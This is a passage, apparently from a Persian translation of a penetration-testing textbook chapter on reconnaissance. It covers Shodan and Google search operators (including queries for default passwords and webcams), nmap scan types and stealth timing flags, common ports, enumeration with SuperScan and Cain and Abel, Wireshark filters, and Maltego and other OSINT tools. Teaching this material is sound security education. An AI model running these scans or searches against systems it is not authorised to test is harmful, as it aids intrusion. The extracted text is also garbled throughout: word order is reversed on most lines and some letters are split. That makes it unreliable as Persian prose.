 را تیسا وب یمیقد های نسخه دیتوان می شما اما ،برمیدارند سایت روی از را آن ها آن بعداً
 استفاده www.ChuckEasttom.com تیسا وب از رهدوبا ،شینما یبرا .بکشید بیرون
 .دیکن مشاهده 4-4 شکل در دیتوان می که ،کنم می
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 Archive.org .4-4 شکل

 

 بیرون را تیسا وب یقبل های نسخه و کرده مشاهده را تیسا وب نیا یگانیبا سابقه دیتوان یم
 کلی طور بهکند. می اهمفر هدف شبکه مورد در یدیمف اطلاعات موارد، از یاریبس در .بکشید

 کی یبرا دیمف وبیش کم یاطلاعات منابع از یکی احتمالاً ،باشد می یدیمف تیسا نیا
 شما به را تیسا وب آن اطلاعات از ای ابقهس تواند می Archive.org .باشد می نفوذ کننده تست
 کند. فراهم یتانبرا را یفعل های پذیری آسیب تواند نمی اما دهد، ارائه

 
Shodan. 

 تیسا وب .میده می قرار بحث مورد فصل نیا در که باشد یابزار نیمهمتر است ممکن
https://www.shodan.io/ ًاز استفاده یبرا .باشد می ها پذیری آسیب یجستجو موتور اساسا 

 نفوذ کننده تست کی اگر نصورتیا ریغ در ،دیکن نام ثبت گانیرا حساب کی در دیبا آن
 نیهمچن بود. خواهد ارزشمند اریبس حساب نیا دارد، ها پذیری آسیب ییشناسا در یسع
 را تیسا وب دیتوان می کنند. می استفاده زین تیسا نیا از مهاجمان که شوید مطمئن دیتوان می
 .دیکن مشاهده 4-5 شکل در
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 Shodan.io .4-5 شکل
 

 از یبرخد  ،دید کن دهاسدتفا  Shodan.io یجسدتجو  در دیتوان می که دارد وجود یادیز های نهیگز
 است: شده آورده www.ChuckEasttom.com تیسا وب از مثال جینتا با نجایا در موارد آن

   دیکن جستجو را فر  شیپ عبور یرمزها
default password country:US. 
default password hostname:chuckeasttom.com. 

.default password city:Chicago  
   دیکن دایپ را Apache یسرورها

apache city:“San Francisco”  .  
   دیکن دایپ را ها کم وب

webcamxp city:Chicago. 
 

OLD IIS 
"iis/5.0" 

 شدامل  دیکن استفاده دیتوان می که ییلترهایف است. جستجو اصطلاحات از هایی نمونه یقبل ستیل 

| 

https://technet24.ir/
https://technet24.ir/
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 است: ریز موارد

City: کند. می پیدا خاص شهر یک در را ها دستگاه 
country: کند. می پیدا خاص کشور یک در را ها دستگاه 

 Geo: (ییایجغراف طول و عر  یعنی) مختصات براساس جستجو  
 Hostname: باشند داشته مطابقت خاص زبانیم نام کی با که کند می دایپ را یریمقاد 

Net: مبنای بر جستجو IP ای /x CIDR 
 Os: عامل ستمیس اساس بر جستجو 

Port: کند. می دایپ هستند باز که را یصخا های پورت 
before/after: کند. می دایپ یزمان بازه کی در را جینتا 

 دهد: می نشان را یجستجو فر  شیپ عبور رمز به مربوط جینتا 4-6 شکل مثال، عنوان به
default password city:Chicago. 

 
 

 Shodan یجستجو جینتا .4-6 شکل
 

 Company شرکت دامنه در است بهتر ،دیهست نفوذ تست کی انجام حال در که یهنگام

domain قیطر از دیتوان می که را یزیچ هر Shodan تواند می نیا .دیکن جستجو دیکن دایپ 
 از یاحتمال مهاجمان که شوید مطمئن دوباره و کند، تیهدا نفوذ تست یبرا را یتانها تلاش
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 دامنه نام ایhostname زبانیم نام به ار خود یجستجو دیتوان می کنند. می استفاده ابزار نیا
 های رمزعبور دیتوان می اند. کرده استخدام نفوذ تست انجام یبرا را شما که دیکن محدود یمشتر
 شبکه های پذیری آسیب ریسا و ناامن وب های نیدورب ،یمیقد یسرورها وب فر ، شیپ

 .دیکن جستجو را هدف
 

 Social Media یاجتماع های سانهر

 حال در اگر باشد. حد از شیب تواند نمی نفوذ، تست کی یبرا ،یاجتماع های انهرس ارزش
 های شبکه اسکن دیبا ،هیاول یکارها از یکی ،دیهست XYZ شرکت از نفوذ تست انجام
 دایپ یربط یب اطلاعات یقینا باشد. شرکت نام آن یبرا Facebook و LinkedIn مانند یاجتماع
 غربال یبرا را خود وقت اگر ولی کند، نمی کمک نفوذ تتس در شما به که کرد دیخواه
 .افتی دیخواه یدیمف اریبس اطلاعات ادیز احتمال به ،دیده اختصاص ها داده نیا کردن

 دنبال به :دیآ می شیپ والس نیا نیبنابرا است، آسان نسبتاً یاجتماع های شبکه در یشرکت افتنی
 نیاول .دیکن جستجو یاجتماع های شبکه در دیوانت می که دارد وجود یمختلف موارد د؟یهست چه

 از که کنید پیدا شبکه ادمین یک است ممکن .باشد می شرکت مورد در یعموم اطلاعات
 ندوزیو از ای نسخه چه از دیگو می شما به که ،دارد شکایت ویندوز جدید نسخه به انتقال
 موجود کردن حل یراب مشکلات هنوز که است دیجد رییتغ کی نیا و کنند می استفاده
 .باشند دیمف یاجتماع یمهندس طریق از که ،دیکن دایپ را کلیدی افراد نام است ممکن .باشد می
 باعث است ممکن که ،دیهست هدف شرکت مورد رد سابقه ینوع جادیا حال در واقع، در

 شود. خارج اطلاعات تا دهند می اجازه یاطلاعات های شرکت مقدار چه که شود شما تعجب
 

 Google Searching گوگل یجستجو

 دارم نیقی برسد. نظر به هدف ستمیس کی مورد در یریادگی یبرا بیعج یراه است ممکن
 است ممکن اما است. داده انجام را Google یجستجوها کند مطالعه را کتاب نیا یهرکس که
 وجودم جستجو چند نجایا در .دباش نداشته یآگاه گوگل یجستجو با یریپذ انعطاف از
 باشد: جالب شما یراب است ممکن که باشد می

 info:http://www.google.com :تیسا کی به مربوط اطلاعات
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  related:http://www.google.com : مرتبط های تیسا افتنی
 cache:http://google.com search :دیکن جستجو را پنهان حافظه

 URL : inurl:http://google search در کلمه

 site:http://somesite.net :تیسا کی در جستجو کردن محدود

 search ~tips :مشابه موارد

 OR: cats | dogs اپراتور
 از دیخواه می و ،دیهست XYZ شرکت مورد در یاطلاعات یجستجو در اگر مثال، عنوان به
 .دیکن امتحان است ممکن ،دیشو مطلع ها آن شرکت های استیس

policies site:xyz.com 

 یجسدتجو  دو از یکد ی دیتوان می ،دیهست شرکت آن از PDF اسناد دنبال به خاص طور به اگر ای
 بداز  xyz.com در را هدا  سیاسدت  بده  مربدوط  PDF یلهدا یفا نید ا ابتددا،  در .دید کن امتحدان  را ریز
 گرداند: می

policies filetype:pdf site:xyz.com 

 دیکن امتحان دیتوان می ،دیخواه می را PDF های لیفا همه فقط اگر ای
filetype:pdf site:xyz.com 

 یابزار توانند می Google یجستجو تر شرفتهیپ های یژگیو ،دیکن می مشاهده که طور همان
 یدارا ها شرکت اغلب باشند. هدف بکهش کی مورد در اطلاعات یآور جمع در قدرتمند
 یراحت به که هستند مشابه اسناد و یانسان منابع یراهنما های کتابچه ،یگذار استیس اسناد
 را ها آن توان می Google یتخصص یجستجو با ولی ،ستین آسان ها آن تیسا وب در شیمایپ
 کرد. دایپ
 

  (Active Scanning Techniques) فعال اسکن های کیتکن
 اتصال به یازین رایز شوند، می گرفته نظر در (منفعل) غیرفعال همه یقبل شده ذکر های کیتکن

 ،ستین متصل هدف ستمیس به واقع در مهاجم که آنجا از ندارند. هدف ستمیس به مهاجم
 اریبس فعال های اسکن است. رممکنیغ (IDS) نفوذ صیتشخ ستمیس توسط اسکن صیتشخ
 یمختلف انواع شوند. ییشناسا هدف ستمیس توسط دارد امکان و دارند بالاتری نانیاطم یتقابل

http://xyz.com/
http://xyz.com/
http://xyz.com/
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 .شد خواهد داده شرح یبعد های بخش در که طور همان دارد، وجود فعال اسکن از
 

  (Port Scanning) پورت اسکن

 است. ها پورت بودن باز دنید و هدف ستمیس در شبکه پورت هر با تماس یبرا تلاش فرایند
 عنوان به هستند. ارتباط در یخاص خدمات با معمولاً که دارد وجود شده هشناخت پورت 1024
 Simple Network Management) ساده شبکه تیریمد پروتکل با 161 پورت مثال،

Protocol) صیتشخ باز هدف ستمیس یور را 161 پورت مهاجم کی اگر است. ارتباط در 
 توان می یحت کند. امتحان را SNMP به مربوط حملات ردیبگ میتصم است ممکن دهد،

 139 و 138 ،137 های پورت مثال، عنوان به آورد. دست به پورت اسکن از را یشتریب اطلاعات
 که ،بوده شبکه ارتباط یبرا ندوزیو یمیقد اریبس روش کی هستند، مرتبط NetBIOS با همه
 استفاده هایی مستیس یبرا اغلب NetBIOS حال، نیا با شود. نمی استفاده ندوزیو در گرید
 ،نیبنابرا دارند. نوکسیل های نیماش با ارتباط یبرقرار به ازین ندوزیو های نیماش که شود می

 دهد. می نشان هدف شبکه مورد در یزیچ باز های پورت آن کشف
 

 
 اسکن nmap .4-7 شکل
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Nmap دیهد انجام یکار یمخف کمی صورت به را خود اسکن تا دهد می را امکان نیا شما به 
 است: شده ذکر نجایا در اسکن انواع ترین جیرا .دیده قرار هدف را یخاص های ستمیس و

 نگیپ اسکن Ping scan: کند. می ارسال هدف پورت به نگیپ کی ی،سادگ به اسکن نیا 
 اسکن نگیپ از یریجلوگ منظور به را یورود ICMP های بسته شبکه های ادمین از یاریبس

 .کنند می مسدود
 صالات اسکن Connect scan: ادیز احتمال به نیهمچن ولی ،باشد می اسکن ترین مطمئن 
 شود. می جادیا هدف ستمیس با یکامل اتصال اسکن نوع نیا از استفاده با است. ییشناسا قابل
 اسکن SYN: های درخواست ها ستمیس اکثر است. یپنهان اریبس اسکن نیا SYN (همگام 
 / SYN ستمیس یوقت اما دیکن می ارسال SYN بسته کی کناس نیا در .رندیپذ می را (یساز

ACK ارسال پورت هر یبرا بسته کی فقط حال، نیا با .دیده نمی یپاسخ هرگز شما فرستد می 
 .شود می گفته زین (half-open scan) باز مهین اسکن لتحا نیا به .دیکن می
 اسکن FIN: پرچم اسکن نیا FIN شده میتنظ شده تمام لاتصا پرچم اساس بر ای دارد را 

 نظر در یکار پنهان نیبنابرا ،ستین ستمیس افتیدر یبرا رمعمولیغ بسته کی زین نیا است.
 شود. می گرفته
 اسکن XMAS که یسمسیکر درخت کی مانند است، پرچم نیچند یدارا اسکن نیا 

 .باشد می یادیز روشن های چراغ دارای
 اسکن NULL اسکن مخالف اسکن نیا XMAS :باشد نمی روشن یپرچم چیه است. 
 اسکن ACK:قبلاً نکهیا بدون اسکن نیا SYN باشد، کرده افتیدر ACK کند. می ارسال 
 شود. می انجام هدف واکنش یچگونگ دنید یبرا کار نیا
 نیبنابرا و کند می جادیا نظر مورد دستگاه یرو بر را یمتفاوت پاسخ ها اسکن نیا از کی هر

 دهد: می قرار پورت اسکنر اریاخت در را یمتفاوت اطلاعات
 اسکن با FIN اسکن ای XMAS، پرچم بسته کی ستمیس باشد، بسته هدف پورت اگر RST 
 .ندارد وجود یپاسخ چیه باشد، باز اگر .است مجدد( میتنظ یمعنا به RST گرداند) برمی را
 اسکن با SYN، کی پاسخ باشد، بسته پورت اگر RST کی سخپا باشد، باز اگر .باشد می 

SYN / ACK است. 
 های اسکن ACK های اسکن و NULL های ستمیس یرو فقط UNIX کنند. می کار 

Nmap فرمان خط نسخه با ای) پرچم یتعداد دهد می امکان شما به نیهمچن nmap نسخه ای 
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Windows) شده ذکر نجایا در مجاز های پرچم کند. می یسفارش را شما اسکن که کرده میتنظ 
 است:

 

-O Detects operating system دهد می تشخیص را عامل سیستم 

-sP Ping scan پینگ اسکن 

-sT TCP connect scan اتصال اسکن TCP 

-sS SYN scan اسکن SYN 

-sF FIN scan اسکن FIN 

-sX Xmas tree scan کریسمس درخت اسکن 

-sN NULL scan اسکن NULL 

-sU UDP scan اسکن UDP 

-sO Protocol scan پروتکل اسکن 

-sA ACK scan اسکن ACK 

-sW Windows scan ویندوز اسکن 

-sR RPC scan اسکن RPC 

-sL List/DNS scan لیست اسکن / DNS 

-sI Idle scan اساس بی اسکن 

-Po Don’t ping ندهید انجام پینگ 

-PT TCP ping پینگ TCP 

-PS SYN ping SYN پینگ 

-PI ICMP ping پینگ ICMP 

-PB TCP and ICMP ping پینگ TCP و ICMP 

-PM ICMP netmask ماسک ICMP 

-oN Normal output عادی خروجی 

-oX XML output خروجی XML 

-oG Greppable output خروجی Greppable 

-oA All output خروجی تمام 

-T Timing سنجی زمان 
 

-T0  Paranoid 
-T1  Sneaking 
-T2  Polite 
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-T3  Normal 
-T4  Aggressive 
-T5  Insane 

 

 اسداس  بدر  را هدا  پدرچم  نید ا nmap یکد یگراف یکداربر  رابط که کنید می مشاهده 4-7 شکل در
 نشدان  را جسدتجو  هدای  نهیگز 4-8 شکل دهد. می قرار متن جعبه در شما یبرا یانتخاب یجستجو
 دهد. می

 
 

 nmap یکیگراف رابط در جستجو های نهیگز .4-8 شکل
 

 ها بسته اسکن عیسر ارسال شامل یبند زمان دارد. وجود یزمانبند میتنظ یبرا ای نهیگز نیهمچن
 زمان است. شتریب اسکن ییشناسا احتمال ،دیکن ارسال را ها بسته عتریسر هرچه اساساً است.
 است. شده میتنظ T4 صورت به nmap یکیگراف رابط در دیشد اسکن
 شروع IP آدرس کی اسکن با که دارد وجود بنیادی اریبس nmap اسکن چند نجایا در
 شود: می

nmap 192.168.1.1 

 :دیکن اسکن را IP های آدرس از یعیوس فیط
nmap 192.168.1.1-20 

 دزدکی سرعت از استفاده و TCP اسکن از استفاده عامل، ستمیس ییشناسا یبرا اسکن
(sneaky speed): 

nmap-O-PT -T1 192.168.1.1 

Nmap نسخه و GUI Zenmap از پورت اسکن دهیا هستند. پورت یاسکنرها نیپرکاربردتر 
 را این درک شما به است، باز پورتی چه نکهیا دانستن اول، .باشد می اهمیت دارای جنبه 2 دو
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 )مانند خاص های پورت دوم، مرحله در هستند. اجرا حال در هایی سیسرو چه که دهد می
NetBIOS و SMB) یست.چ هدف ستمیس یرو عامل ستمیس که دهد درک اشم به توانند یم 

 یقینا چیست ها پورت ترین جالب که کند می ایجاد یمهم اریبس پرسش ما برای مسئله نیا
 در را ها پورت از یکامل ستیل "network ports شبکه های پورت" ساده یجستجو با دیتوان می
 پورتها هیبق از تر جالب نفوذ ندهکن تست یبرا ها پورت از یبرخ ولی ،دیکن دایپ نترنتیا

 کند. می خلاصه را شما یبرا ها آن مفهوم و ها پورت از یبرخ 1-4 جدول .باشند می
 

 شده شناخته های پورت 1-4 جدول
 

Meaning Port 

20, 21; 
FTP 

FTP یبرا توجه قابل نکته شود. می افتی سرورها وب در اغلب و است متداول پروتکل کی 
 ناشناس یدسترس به محدود اجازه FTP یسرورها از یاریبس که است نیا نفوذ کننده تست
 دیتوان می حداقل هستند، باز 21 و 20 های پورت کهکنید می شاهدهم اگر نیبنابرا دهند. می را

FTP دیکن امتحان را ناشناس. 

23; 
Telnet 

Telnet برخلاف) ستین منیا که است فرمان خط اتصال کی SSH که 22 پورت در 
 نیا با .دیشو telnet وارد که باشید داشته تمایل است ممکن ابتدا . (است شده یرمزگذار
 نیا در بعداً )که فریاسن بسته کی دیبخواه است ممکن باشد، ناموفق کار نیا اگر یحت حال،
 ها ادمین .دیکن اجرا پورت آن به کیتراف یشاتما یبرا را پرداخت( میخواه آن به فصل
 روشن متن صورت به را یدستورات نیبنابرا و کرده استفاده 23telnet رتپو از است ممکن
 .کنند می ارسال

69; TFTP 

TFTP اساسا که FTP از استفاده با UDP جای به TCP اغلب مورد نیا .است شده محدود 
 دنید ،نیبنابرا شود. می استفاده تالیجید های نامهیگواه یابیباز یبرا سکویس های دستگاه در
 های نامهیگواه با سکویس های دستگاه که آورد بوجود را نکته نیا تواند می بودن باز نیا
 وجود TFTP از یگرید های کاربرد .باشد گرفته قرار استفاده مورد است ممکن تالیجید

 .باشد می ها ترین جیرا از یکی نیا ولی دارد،

137, 138, 
139; 

NetBIOS 

NetBIOS اگدر  شدود.  مدی  اسدتفاده  تکروسداف یما توسدط  اول درجه در NetBIOS را 445 و 
 .است کروسافتیما ستمیس کی NetBIOS که است ،مشخصدیکن مشاهده
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25, 110, 143, 
220; email 

 نیا مشاهده هستند. نشده یرمزگذار و (clear-text واضح) متن لیمیا های پروتکل همه نهایا
 در هدف شبکه که باشد می صورت بدین نوع اولین دهد. می شما به اطلاعات نوع دو موارد
 نیز زیادی امنیتی موارد احتمالاً و کند می کوتاهی پایه، امنیتی احتیاطی اقدامات از استفاده
 تمام و کرده اجرا فریاسن بسته کی دیتوان می که باشد می صورت بدین مورد یندوم .دارد
 .دیبخوان را ستمیس نیا در را شده دریافت و شده ارسال های لیمیا

465, 993, 995; 
encrypted 

email 

 که دیگو می شما به موارد نیا از یکی مشاهده است. شده یرمزگذار لیمیا برعکس، قاًیدق
 ها لیمیا دیتوان نمی و دهد می انجام را پایه یتیامن یاطیاحت اقدامات یبرخ حداقل هدف شبکه
 .دیبخوان را

161, 162; 
SNMP 

 یبدرا  معمدولاً  (Simple Network Management Protocol) سداده  شدبکه  تیریمد پروتکل
 و بودندد  نشدده  یرمزگدذار  SNMP 2 و 1 هدای  نسدخه  شدود.  می استفاده شبکه کی تیریمد
 هدر  بدرای  اما است. شده یرمزگذار 3 نسخه .دیبخوان فریاسن بسته کی با را کیتراف دیتوان می
 .دیکن امتحان را فر  شیپ های رمزعبور دیبا ،یا نسخه

445; 
SMB 

Block Message Server کده  نددوز یو هدای  عامل ستمیس توسط Active Directory اجدرا  را 
 دامدین  کید  آن کده  دید گو مدی  شدما  به پورت نیا مشاهده ،نیبنابرا شود. می استفاده کنند می
 .است ندوزیو

88, 464; 
Kerberos 

 هددف  شدبکه  که دیدان می ،دیکن مشاهده را موارد نیا اگر شود. می استفاده Kerberos توسط
 .کند می استفاده Kerberos تیهو احراز از

3389; 
Remote 
Desktop 

Remote Desktop باز پورت نیا که کنید می شاهدهم اگر و است ناامن یمشهور طرز به 
 .شوید ستمیس وارد Remote Desktop طریق از دیکن یسع دیبا حداقل است،

 

 دهدد.  ارائده  را یادیز اطلاعات تواند می و است، یسانآ نسبتاً کار پورت اسکن که است واضح
Nmap ًباشدد  مدی  هکرهدا  یبدرا  هدم  و نفوذ تست یبرا هم پورت اسکنر نیپرکاربردتر احتمالا، 
 بده  مربدوط  نامده یگواه صددور  هدای  تست از یاریبس مورد در تکراری موضوع کی نیا نیهمچن
 اسدت.  مهدم  نفوذ کننده تست یبرا nmap در داشتن مهارت ،لیدلا نیا ههم به است. نفوذ تست
 میکدرد  مشاهده بخش نیا در آنچه است. مهم اندازه همان به زین جینتا یمعنا درک حال، نیا با
 کنندده  تسدت  کید  داشدتن  یبرا یکامپیوتر های شبکه مورد در یکاف دانش داشتن که است نیا

 .باشد می ضروری اریبس نفوذ
 

 Enumeration شمارش

 شمارش است. (Enumeration)شمارش ،باشد می رایج یواقع حمله از لقب که یگرید کیتکن
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 استخراج فرایند است. دارد وجود هدف ستمیس در آنچه فرایند کردن درک یسادگ به درواقع
 Enumeration را ستمیس کی از ها سیسرو و ها Share شبکه، منابع ها، ستمیس نام وزرها،ی نام
 ییچاپگرها و ها کامپیوتر سرورها، دارد یسع مهاجم ،باشد شبکه کی کل هدف، اگر .ندیگو
 تلاش در مهاجم باشد، خاص کامپیوتر کی هدف اگر .کند جوداردکشف و شبکه آن در که
 .ستیچ ستمیس آن در مشترک های پوشه و کاربران بفهمد تا است
 یاساس شمارش تواند می نیهمچن ابزار نیا شد. یمعرف Cain , Abel ،"یرمزنگار" ،3 فصل در

 شکل در که شبکه شمارش ابزار کی عنوان به Cain , Abel از دیتوان می دهد. انجام را شبکه
 .کنید است،استفاده 9-4
 را یشتریب اتیجزئ دارید تمایل که دیکن کیکل چپ سمت در مورد هر یرو بر یسادگ به
 .کنید مشاهده آن یبرا

 

 
 

 Cain and Abel .4-9 شکل
Cain , Abel رمدز  شکسدتن  یبدرا  3 فصدل  در را آن کده  باشدد،  می کاره همه یبزارا وضوح به 

 Cain , Abel .کنیم می بررسی شبکه شمارش یبرا را آن دوباره اکنون و ،کردیم مشاهده عبور
 است. برخوردار ییبالا تیمحبوب از مهاجمان برای هم و نفوذ های  تست در هم

Angry IP Scanner از توان می که باشد می پورت مارشش / اسکن یابزارها از گرید یکی 
 به .کرد دانلود گانیرا صورت به http://angryip.org/download/#windows تیسا وب
 را ها آن و دیده قرار ابزار نیا اریاخت در را IP های آدرس از یعیوس فیط توانید می یسادگ
 در که طور همان ،دیکن فعال را IP های آدرس تا دهد می اجازه شما به همچنین به و کنید اسکن
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 است. شده داده نشان 4-10 شکل
SuperScan، لینک این از را ابزار نیا دیتوان می است. گانیرا شبکه یاسکنرها از گرید یکی 

 دیکن دانلود
https://www.mcafee.com/us/downloads/free-tools/superscan.aspx . از کاراتر ابزار نیا 

Angry IP Scanner .یاصل صفحه است SuperScan دیکن مشاهده 4-11 شکل در دیتوان می را. 

 
 Angry IP اسکنر .4-10 شکل
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 SuperScan .4-11 شکل

 زبانیم نام ای (domain name) دامنه نام کی دیتوان می دیکن می مشاهده که طور همان
(hostname) های آدرس از یعیوس فیط ای IP دیکن انتخاب را، SuperScan بانتخا هدف 

 نام دیتوان می .دیباش داشته توجه زین Windows Enumeration تب به کند. می اسکن را شده
 را Enumeration .دیبرشمار را ستگاهد آن خدمات و کرده انتخاب را IP آدرس ای زبانیم
 .دیکن مشاهده 4-12 شکل در دیتوان می
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 SuperScan شمارش .4-12 شکل

 

SuperScan نکهیا مخصوصا .دیبگو شما به هدف ستمیس مورد در یادیز موارد تواند می 
 .دیکن مشاهده را ستمیس آن در موجود کاربران و ستمیس آن در موجود های سیسرو دیتوان می
 شده ستمیس وارد کاربر آن بار چند که دیگو می شما به SuperScan کاربران، از استفاده با

 کاربر که یبار نیآخر و کرده رییتغ که یبار نیآخر ،شده یمنقض عبور رمز یزمان چه است،
 تواند می SuperScan مهمتر، همه از .باشد می یدیمف اریبس اطلاعات کهاست، شده وارد

 حداکثر و کردن قفل آستانه کردن، قفل زمان مدت جمله از حساب ورود رمز های سیاست
 .دیگوب شما به را عبور رمز مدت

SuperScan شتراکاتیا مورد در یاطلاعات نیهمچن (shares) و دارد هدف وتریکامپ که 
 است ممکن مثال یبرا دهد. می شما به را ستمیس آن در استفاده قابل یسهایسرو هیکل نیهمچن
 .ریخ ای است (remote desktop) سیسرو یدارا هدف ستمیس ایآ دیبدان که باشد دیمف
 هدف شبکه ای دستگاه مورد در یاطلاعات شما به ها آن دارند: مشترک کار کی ابزارها نیا همه
 آغاز اطلاعات یآور جمع با نفوذ تست ،دیکرد مشاهده 2 و 1 فصل در که طور همان دهند. می
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 یسادگ به دیتوان می ای ،دیکن استفاده شده داده حیتوض که ییابزارها از دیتوان می شود. می
 که را یابزار و داده انجام ("پورت اسکنر" )و " شبکه شمارش" یبرا را "وب یجستجو"

 و یکیگراف یکاربر رابط نفوذ های کننده تست از یبرخ .بیابید دیده می حیترج استفاده برای
 دهند. می حیترج را (command-line) فرمان خط رابط گرید یبرخ
 تاننظر به که باشد می هایی یژگیو یدارا خاص ابزار کی که دیابیدر است ممکن نیهمچن
 و کرده یبررس را شمارش ابزار و پورت یاسکنرها و کرده صرف قتو ،نیبنابرا .است دیمف
 همزمان نظرم به .دیکن دایپ است، متناسب شما یازهاین با وجه نیبهتر به که را یموارد از یکی
 .یدکن استفاده شمارش و پورت اسکن یبرا ابزار نیچند از
 

Wireshark. 

 شدناخته  از یکد ی ابدزار  نید ا .ستین شبکه رششما ابزار کی ای پورت اسکنر کی واقع در ابزار نیا
 را یادید ز کارهدای  تواندد  می نفوذ کننده تست کی اغلب .باشد می شبکه بسته اسنیفرهای ترین شده
 Wireshark .کندد  کشدف  هددف  شدبکه  کید  در شبکه کیتراف کردن اسنیف قیطر از یراحت به
 بدرای  ابدزار  نید ا کندد.  مدی  فدراهم  شبکه کیتراف یبررس یبرا مناسب یکیگراف یکاربر رابط کی

 افدت یدر /https://www.wireshark.org سدایت  از را آن دید توان مدی  کده  باشدد  می گانیرا دانلود
 دهد. می نشان را یاصل رابط 4-13 شکل .دیکن
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 Wireshark یاصل رابط 4-13 شکل
 

 دهدد  یمد  اجدازه  کاربر به که ،است شده هایلایت 4-14 شکل در که مینیب می را واحد بسته کی
 کند. تست را خاص بسته اتیجزئ

 
 

 .دیکن انتخاب را بسته کی Wireshark 4-14 شکل
 

 را آنچه ینما فقط شوند( می دهینام زین post-filters بعدی یلترهایف )که شگرینما یلترهایف
 در هنوز (capture) کردن ضبط در موجود های بسته تمام کنند. می لتریف دیکن می مشاهده

 اریبس و کنند می استفاده خودشان فرمت از شگرینما یلترهایف دارد. وجود (trace ی)ابیرد
 است. شده داده نشان 4-15 شکل در که طور همان هستند، ضبط یلترهایف از قدرتمندتر
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 Wireshark شینما یلترهایف .4-15 شکل
 

 :باشد می شگرینما لتریف نمونه چند ریز موارد
ip.src==10.2.21.00/24 
ip.addr==192.168.1.20 && ip.addr==192.168.1.30 
tcp.port==80 || tcp.port==443 
!(ip.addr==192.168.1.20 && ip.addr==192.168.1.30)  
(ip.addr==192.168.1.20 && ip.addr==192.168.1.30) && 
(tcp.port==465|| tcp.port==139)  
(ip.addr==192.168.1.20 && ip.addr==192.168.1.30) && 
(udp.port==80|| udp.port==4 
 

 دنبال را UDP ای TCP خاص انیجر آن دیتوان می ،دیکن راست کیکل بسته کی یرو اگر
 4-16 شکل در که طور همان کند، می تر آسان را خاص مکالمه آن در ها بسته مشاهده که ،دیکن
 است. شده داده نشان 4-17 شکل و
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  کند می دنبال را TCP انیجر Wireshark .4-16 شکل
 

 
 .Wireshark TCP انیجر شگرینما .4-17 شکل
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Wireshark باشد نمی نیا کتاب نیا از مقصود است. کاره همه کاملاً یبند بسته اسنیفر کی 
 دیبا فصل نیا مطالب حال، نیا با کند. لیتبد Wireshark در متخصص کی به را شما که

 که دیکرد مشاهده را یخاص موارد فصل نیا در قبلاً کند. فراهم شما یبرا جامع ای مقدمه
 وجود یگرید فریاسن بسته یقینا که زمانیکه باشد. دیمف اریبس تواند می اسنیفر بسته کی یاجرا
 از بعضی Wireshark تیسا وب .باشد می ها آن ترین معروف از یکی Wireshark دارد،

 کند: می فراهم شتریب آموزش یبرا را مفیدی اطلاعات
 /Wireshark  https://wiki.wireshark.org یکیو صفحه

 Wireshark: https://www.wireshark.org/#learnWS های آموزش و ها لمیف
 دهند. ارائه شما به Wireshark مورد در یخوب دانش دیبا شده اشاره موارد

 
Maltego 

 داده العاده خارق های تیقابل از که باشد می ای رایانه جرایم و اطلاعات باز منبع افزار نرم کی
 از دیتوان می که دارد وجود یمختلف های نسخه است. برخوردار اطلاعات یآور جمع و یکاو
 نسخه و دیکن دانلود https://www.paterva.com/web7/downloads.php#tab-3 لینک
 .باشد می گانیرا آن عمومی
 های کتابخانه با یهماهنگ در Maltego اند. شده داده نشان فهم قابل های نمایه انواع در نتایج
 قبلاً که را ها آن نیب روابط و کرده ییشناسا را ها داده مجموعه نیب یدیکل روابط خود، رافگ

 .هدد می نشان را Maltego یاصل صفحه 4-18 شکل کند. می ییشناسا بودند، ناشناخته

 
 Maltego .4-18 شکل
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Maltego ها ازموجودیت اول درجه در entity هاشکل رییتغ و transform کند می استفاده. 
 انتخاب را (رهیغ و تلفن شماره شخص، ،تیسا وب ،لیمیا )آدرس ها موجودیت از یبرخ
 نمودار یبرا را یزیچ یوقت .دیکن می انتخاب موجودیت آن یبرا شکل رییتغ کی و کرده
 آن نیب روابط ،باشد گرید موارد ای تیسا وب ،لیمیا آدرس شخص، ،دیکرد انتخاب

 شکل در که طور همان شود، می داده نشان نمودار صورت به گرید های موجودیت و موجودیت
 است. شده داده نشان 19-4

 
 Maltego گراف .4-19 شکل

 

 را Share Graph تدب  یسدادگ  بده  دهدد.  مدی  نشدان  را دید جد گراف کی شروع هنگام 4-20 شکل
 .دیده لشک رییتغ را آن و دیکن جادیا ها تیموجود اساس بر دیجد نمودار کی سپس ،کرده انتخاب

 

 
 .دیکن شروع را Maltego دیجد نمودار .4-20 شکل
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Maltego وجدود،  نید ا بدا  .میکدرد  بحدث  فصدل  نیا در که باشد می گرید یابزارها از تر دهیچیپ 
 کنند: می کمک ابزار نیا بر شما تسلط هب که دارد وجود وب در ییآموزشها

https://www.paterva.com/web7/docs/documentation.php 
https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-maltego-do-
networkreconnaissance-0158464/ 

 

 OSINT یابزارها ریسا

 دیتهد لگرانیتحل و مهاجمان توسط Open source intelligence (OSINT) باز منبع هوش
 باشد می یابزار گرفت، قرار بحث مورد یقبل بخش در که ،Maltego شود. می استفاده یبریسا
 وجود زین گرید منبع و ابزار نیچند است. گرفته قرار OSINT استفاده مورد گسترده طور به که
 و ییشناسا انجام در نفوذ تست کی یابر که شود می استفاده OSINT در که دارد

 .است ارزشمند اریبس زین (reconnaissanceاکتشاف)
 

 OSINT تیسا وب

 آن لهیوس به که دهد می ارائه ساده نیآنلا ابزار کی http://osintframework.com تیسا وب
 دامنه ،لیمیا های آدرس یرو بر تواند می جستجو .دیده انجام را یخاص یجستجو دیتوان می
 نشان 4-21 شکل در که طور همان باشد. گرید موارد یاریبس و نیکو تیب های تراکنش ها،
 بود. خواهد دیمف هدف دامنه کی در جستجو نفوذ، کننده تست کی یبرا است، شده داده

 
 OSINT چارچوب 4-21 شکل

https://www.paterva.com/web7/docs/documentation.php
https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-maltego-do-network-reconnaissance-0158464/
https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-maltego-do-network-reconnaissance-0158464/
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Alexa 
 ،تیمحبوب جمله از ها تیسا وب مورد در یاطلاعات http://www.alexa.com تیسا وب
 دهیا کی شما به تواند می و ،دهد می ارائه آن در جستجو دفعات تعداد و دکنندگانیبازد تعداد
 دارند یشتریب دیبازد که هایی تیسا وب دهد. ارائه تیسا وب کی با مواجهه زانیم مورد در
 .رندیگ می قرار حمله مورد شتریب

 
Web Master Tips وب استاد به مربوط نکات  

 جمع را منبع نیچند های داده اما است alexa مشابه http://www.wmtips.com تیسا وب
 تیسا وب مواجهه زانیم به راجع یبهتر اریبس دید تواند می سایت وب نیا کند. می آوری
 شما به نیهمچن ند.ک می کمک وب حمله احتمال نیتخم به نیبنابرا و کند جادیا تاننظر مورد
